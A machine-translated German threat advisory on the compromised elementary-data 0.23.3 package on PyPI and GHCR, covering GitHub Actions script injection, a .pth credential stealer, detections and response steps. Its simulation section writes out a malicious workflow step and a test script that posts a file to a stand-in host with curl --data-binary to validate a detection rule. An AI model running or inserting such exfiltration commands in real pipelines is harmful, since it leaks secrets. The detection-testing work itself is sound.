Elementary-data über gefälschtes GitHub Release auf PyPI und GHCR kompromittiert
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine bösartige Version des elementary-data Python-Pakets, Version 0.23.3, wurde auf PyPI hochgeladen, während ein entsprechendes kompromittiertes Container-Image auch auf das GitHub Container Registry gepusht wurde. Der Angreifer fügte bösartigen Code in einen GitHub Actions-Workflow ein, fälschte eine signierte Veröffentlichung und missbrauchte dann das Workflow-Token, um die mit einer Hintertür versehenen Artefakte zu veröffentlichen. Die Nutzlast fungierte als dreistufiger Credenztial-Credential-Stealer, der darauf ausgelegt war, Geheimnisse zu sammeln und sie an eine vom Angreifer kontrollierte Domain zu exfiltrieren. Jede Umgebung, die das betroffene Paket installierte oder das neueste Container-Image zog, war einem Kompromiss ausgesetzt.
Untersuchung
Die Untersuchung ergab, dass der Angriff mit einem Kommentar zu einer offenen Pull-Anfrage begann, der direkt in ein Workflow-Skript eingefügt wurde, was eine Skriptinjektion ermöglichte. Unter Verwendung des Workflows GITHUB_TOKEN, erzeugte der Angreifer einen gefälschten Release-Commit und löste den Veröffentlichungsprozess aus, der dann das trojanisierte Wheel und das Docker-Image verteilte. Die Analyse zeigte, dass eine bösartige .pth Datei einen Base64-Wrapper decodierte, die finale Sammlungskomponente entschlüsselte und eine breite Reihe von Zugangsdaten erntete, bevor sie diese an eine benutzerdefinierte Command-and-Control-Domain übermittelte durch curl.
Abschwächung
Die Projektverantwortlichen entfernten die bösartige Paketversion von PyPI und löschten das kompromittierte Image aus GHCR, bevor sie einen sauberen Ersatz in der Version 0.23.4veröffentlichten. StepSecurity fügte die bösartige Paketversion und die vom Angreifer kontrollierte Domain zur Harden-Runner-Blockliste hinzu und blockierte das Paket während der Ausführung der Pull-Anfrage. Entwickler sollten exakte Paketversionen und Image-Digests anpinnen, vermeiden, sich auf schwebende Tags zu verlassen, und installierte Abhängigkeiten auf unerwartete .pth Dateien auditieren.
Reaktion
Verteidiger sollten nach der Präsenz von elementary.pth innerhalb von site-packages suchen und Systeme identifizieren, die den verdächtigen Docker-Image-Digest gezogen haben. Ausgehende Verbindungen zur bekannten Command-and-Control-Domain sollten sofort blockiert werden. Sicherheitsteams sollten Entwickler-Arbeitsstationen und Build-Umgebungen nach exponierten geheimen Materialien scannen, alle kompromittierten Pakete entfernen und betroffene Zugangsdaten rotieren. CI/CD-Pipelines sollten ebenfalls aktualisiert werden, um Paket-Provenienz zu validieren und striktes Image-Pinning durchzusetzen.
Angriffsfluss
Erkennungen
Mögliche Dateninfiltration / -Exfiltration / C2 über Drittanbieter-Services / Tools (via Proxy)
Ansehen
Mögliche Dateninfiltration / -Exfiltration / C2 über Drittanbieter-Services / Tools (via DNS)
Ansehen
Remote-Datei-Upload / -Download über Standardtools (via Cmdline)
Ansehen
IOCs (HashSha1) zur Erkennung: elementary-data kompromittiert auf PyPI und GHCR: gefälschter Release, der über GitHub Actions-Skriptinjektion gepusht wurde
Ansehen
Erkennung bösartiger Datenexfiltration über Skriptinjektion in GitHub Actions [Linux-Prozesserstellung]
Ansehen
Erkennung des bösartigen elementary-data-Pakets mit Credential Stealer [Linux-Dateiereignis]
Ansehen
## Simulation der Ausführung
Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen spiegeln direkt die identifizierten TTPs wider und sollen die genau erwartete Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffsnarrativ & Befehle:
Ein Angreifer hat ein Repository kompromittiert, das GitHub Actions für CI/CD verwendet. Sie fügen dem Workflow-File einen bösartigen Schritt hinzu:- name: Daten exfiltrieren run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Wenn der Workflow auf dem GitHub Actions Runner ausgeführt wird, sieht der Prozessbaum aus wie:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(Elternprozess)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(Kindprozess)
The
auditdProtokoll für Schritt 2 enthält eine Befehlszeile sowohl mitbashandcurl --data-binary, wodurch die Sigma-Bedingung erfüllt wird. -
Regressionstests-Skript:
#!/usr/bin/env bash # # Simulieren des bösartigen GitHub-Actions-Schritts, der die Erkennungsregel auslösen soll. # Erzeugt eine temporäre Datei, schreibt Dummy-Daten und exfiltriert sie dann über Curl, der in Bash eingebunden ist. set -euo pipefail # 1. Erstellen von Dummy-Geheimdaten tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Die Exfiltration mit dem anfälligen Muster durchführen bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Bestätigung für den Tester ausgeben echo "Bösartige Exfiltration simuliert; Temp-Datei $tmpfile sollte durch Aufräumung gelöscht werden." -
Aufräumungsbefehle:
#!/usr/bin/env bash # Entfernen aller temporären Dateien, die während der Simulation erstellt wurden rm -f /tmp/secret_data.* # Optional: Stoppen aller verbleibenden Curl-Prozesse (sollte nicht erforderlich sein) pkill -f "curl --data-binary" || true